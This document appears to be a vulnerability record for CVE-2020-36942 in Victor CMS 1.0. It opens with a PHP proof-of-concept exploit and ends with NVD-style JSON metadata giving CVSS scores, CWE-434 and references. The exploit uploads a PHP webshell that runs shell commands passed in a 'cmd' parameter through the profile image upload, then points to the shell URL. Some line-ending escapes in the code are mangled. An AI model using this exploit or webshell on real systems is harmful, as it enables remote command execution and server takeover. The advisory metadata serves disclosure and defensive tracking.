CVE-2020-36942

<?php // CVE-2020-36942 PoC - Victor CMS 1.0 File Upload to RCE // Author: security researcher // Description: Upload malicious PHP file via profile image upload $target_url = "http://target-site.com/profile_update.php"; $upload_url = "http://target-site.com/img/"; // Malicious PHP webshell $php_shell = '<?php if(isset($_GET["cmd"])){ $cmd = $_GET["cmd"]; echo "<pre>"; $result = shell_exec($cmd); echo $result; echo "</pre>"; } ?> '; // Create multipart form data $boundary = "----WebKitFormBoundary" . bin2hex(random_bytes(8)); $data = "--$boundary\r "; $data .= "Content-Disposition: form-data; name=\"user_id\"\r\n\r "; $data .= "1\r "; $data .= "--$boundary\r "; $data .= "Content-Disposition: form-data; name=\"images\"; filename=\"shell.php\"\r\n"; $data .= "Content-Type: application/octet-stream\r\n\r "; $data .= $php_shell . "\r "; $data .= "--$boundary--\r\n"; $ch = curl_init($target_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Content-Type: multipart/form-data; boundary=' . $boundary, 'Cookie: PHPSESSID=your_session_cookie' ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo "Upload completed. Access shell at: {$upload_url}shell.php?cmd=whoami\n";

{"cve": {"id": "CVE-2020-36942", "sourceIdentifier": "[email protected]", "published": "2026-01-27T16:16:11.683", "lastModified": "2026-02-10T14:53:09.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Victor CMS 1.0 contains a file upload vulnerability that allows authenticated users to upload malicious PHP files through the profile image upload feature. Attackers can upload a PHP shell to the /img directory and execute system commands by accessing the uploaded file via web browser."}, {"lang": "es", "value": "Victor CMS 1.0 contiene una vulnerabilidad de carga de archivos que permite a usuarios autenticados cargar archivos PHP maliciosos a través de la función de carga de imagen de perfil. Los atacantes pueden cargar un shell PHP al directorio /img y ejecutar comandos del sistema accediendo al archivo cargado a través del navegador web."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:victor_cms_project:victor_cms:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "2E246CC4-AA7A-4C17-B950-8B0D1D690F19"}]}]}], "references": [{"url": "https://github.com/VictorAlagwu/CMSsite", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/49310", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/victor-cms-file-upload-to-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}